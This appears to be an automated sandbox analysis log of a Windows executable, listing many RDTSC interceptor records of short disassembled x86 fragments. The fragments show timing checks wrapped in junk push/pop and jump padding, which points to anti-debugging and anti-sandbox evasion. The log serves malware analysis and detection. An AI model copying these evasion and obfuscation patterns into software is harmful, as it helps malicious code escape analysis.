Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE5F02 second address: BE5F27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FEC7C7C7EA6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007FEC7C7C7EADh 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE5F27 second address: BE5F2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE5F2B second address: BE5F2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE5F2F second address: BE5F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEC7CD69C05h 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e jc 00007FEC7CD69C08h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE5F57 second address: BE5F5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE5F5B second address: BE5F7C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEC7CD69BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FEC7CD69C01h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE5F7C second address: BE5F82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE6044 second address: BE604A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE604A second address: BE6080 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FEC7C7C7EACh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007FEC7C7C7EB0h 0x00000019 push edi 0x0000001a pop edi 0x0000001b popad 0x0000001c jbe 00007FEC7C7C7EACh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEBE63 second address: BEBE67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEBE67 second address: BEBE8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FEC7C7C7EA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FEC7C7C7EB6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEBE8C second address: BEBE94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEBE94 second address: BEBE99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEBE99 second address: BEBEA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FEC7CD69BF6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEBEA6 second address: BEBEBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jc 00007FEC7C7C7EA6h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEBEBB second address: BEBEC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7BE62 second address: B7BE71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FEC7C7C7EA6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7BE71 second address: B7BE75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB3A2 second address: BEB3A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB3A8 second address: BEB3DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FEC7CD69C01h 0x0000000f jmp 00007FEC7CD69C08h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB3DD second address: BEB3FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FEC7C7C7EB3h 0x0000000c jc 00007FEC7C7C7EA6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB3FD second address: BEB419 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEC7CD69C06h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB419 second address: BEB41E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB6E3 second address: BEB6FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FEC7CD69BF6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEC7CD69BFCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB6FC second address: BEB71B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007FEC7C7C7EB5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB86C second address: BEB876 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEC7CD69BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB9F3 second address: BEB9F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB9F9 second address: BEBA05 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEC7CD69BFEh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF081D second address: BF0821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF0821 second address: BF0838 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FEC7CD69C01h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF0838 second address: BF0840 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF6DDC second address: BF6DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC7CD69BFDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF6DED second address: BF6DF9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF5D5F second address: BF5D7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69C05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF5D7B second address: BF5D80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF5D80 second address: BF5D8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FEC7CD69BF6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF5739 second address: BF5749 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEC7C7C7EAAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF6670 second address: BF667A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEC7CD69BF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF667A second address: BF6685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF6685 second address: BF6695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 jg 00007FEC7CD69C27h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF6695 second address: BF669B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF669B second address: BF66BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEC7CD69C07h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF6AC8 second address: BF6ACC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB350 second address: BFB381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC7CD69BFDh 0x00000009 popad 0x0000000a pushad 0x0000000b jnl 00007FEC7CD69BF6h 0x00000011 jnp 00007FEC7CD69BF6h 0x00000017 jmp 00007FEC7CD69C01h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA1DF second address: BFA214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FEC7C7C7EA6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e jng 00007FEC7C7C7EA6h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 jmp 00007FEC7C7C7EB3h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f ja 00007FEC7C7C7EBCh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA214 second address: BFA228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC7CD69C00h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA228 second address: BFA232 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FEC7C7C7EA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA232 second address: BFA236 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC5B59 second address: BC5BC6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007FEC7C7C7EA8h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 00000014h 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 jbe 00007FEC7C7C7EACh 0x00000027 mov dword ptr [ebp+122D19E6h], edx 0x0000002d movsx ecx, bx 0x00000030 lea eax, dword ptr [ebp+12489851h] 0x00000036 push 00000000h 0x00000038 push ebp 0x00000039 call 00007FEC7C7C7EA8h 0x0000003e pop ebp 0x0000003f mov dword ptr [esp+04h], ebp 0x00000043 add dword ptr [esp+04h], 0000001Bh 0x0000004b inc ebp 0x0000004c push ebp 0x0000004d ret 0x0000004e pop ebp 0x0000004f ret 0x00000050 stc 0x00000051 nop 0x00000052 push edi 0x00000053 jno 00007FEC7C7C7EA8h 0x00000059 pop edi 0x0000005a push eax 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC5BC6 second address: BC5BCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC5BCA second address: BA212B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007FEC7C7C7EA8h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 jmp 00007FEC7C7C7EADh 0x00000027 call dword ptr [ebp+122D3102h] 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC5DA6 second address: BC5DB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FEC7CD69BF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC61E8 second address: BC61EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC61EC second address: BC61FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6272 second address: BC6276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6276 second address: BC6292 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69C08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6292 second address: BC6297 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6297 second address: BC62B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FEC7CD69BF6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push edi 0x00000010 jmp 00007FEC7CD69BFCh 0x00000015 pop edi 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC631D second address: BC6321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6321 second address: BC6333 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FEC7CD69BF6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6333 second address: BC6337 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6337 second address: BC633D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC633D second address: BC6342 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC65C8 second address: BC65CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC65CC second address: BC65D6 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEC7C7C7EA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC65D6 second address: BC65E0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEC7CD69BFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC65E0 second address: BC65ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6A22 second address: BC6A2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6A2A second address: BC6A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6A2E second address: BC6A5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69C04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FEC7CD69BFDh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6A5A second address: BC6A5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6DBD second address: BC6DDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69C08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6DDC second address: BC6E13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 jo 00007FEC7C7C7EADh 0x0000000f jnp 00007FEC7C7C7EA7h 0x00000015 lea eax, dword ptr [ebp+12489895h] 0x0000001b mov edi, dword ptr [ebp+122D351Bh] 0x00000021 nop 0x00000022 push eax 0x00000023 push edx 0x00000024 push edi 0x00000025 jmp 00007FEC7C7C7EB0h 0x0000002a pop edi 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6E13 second address: BC6E2F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEC7CD69C01h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6E2F second address: BC6E83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a lea eax, dword ptr [ebp+12489851h] 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007FEC7C7C7EA8h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a sub edx, 439AC7FAh 0x00000030 mov dword ptr [ebp+122D2DB4h], ebx 0x00000036 nop 0x00000037 jo 00007FEC7C7C7EB0h 0x0000003d push eax 0x0000003e push edx 0x0000003f push ebx 0x00000040 pop ebx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6E83 second address: BA2D3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FEC7CD69BFAh 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007FEC7CD69BF8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 call dword ptr [ebp+122D1B1Bh] 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FEC7CD69BFDh 0x00000034 push eax 0x00000035 push edx 0x00000036 jns 00007FEC7CD69BF6h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2D3F second address: BA2D5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEC7C7C7EB5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2D5A second address: BA2D6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FEC7CD69BFFh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA600 second address: BFA60B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FEC7C7C7EA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA795 second address: BFA79B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA79B second address: BFA7B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007FEC7C7C7EC5h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFAA5E second address: BFAA75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FEC7CD69BF6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007FEC7CD69BFEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFAA75 second address: BFAA7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFAA7B second address: BFAA93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC7CD69C02h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFAD52 second address: BFAD6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB5h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFAD6D second address: BFAD71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD5D9 second address: BFD5FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEC7C7C7EB6h 0x0000000d push eax 0x0000000e jc 00007FEC7C7C7EA6h 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C001AB second address: C001C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEC7CD69BFDh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
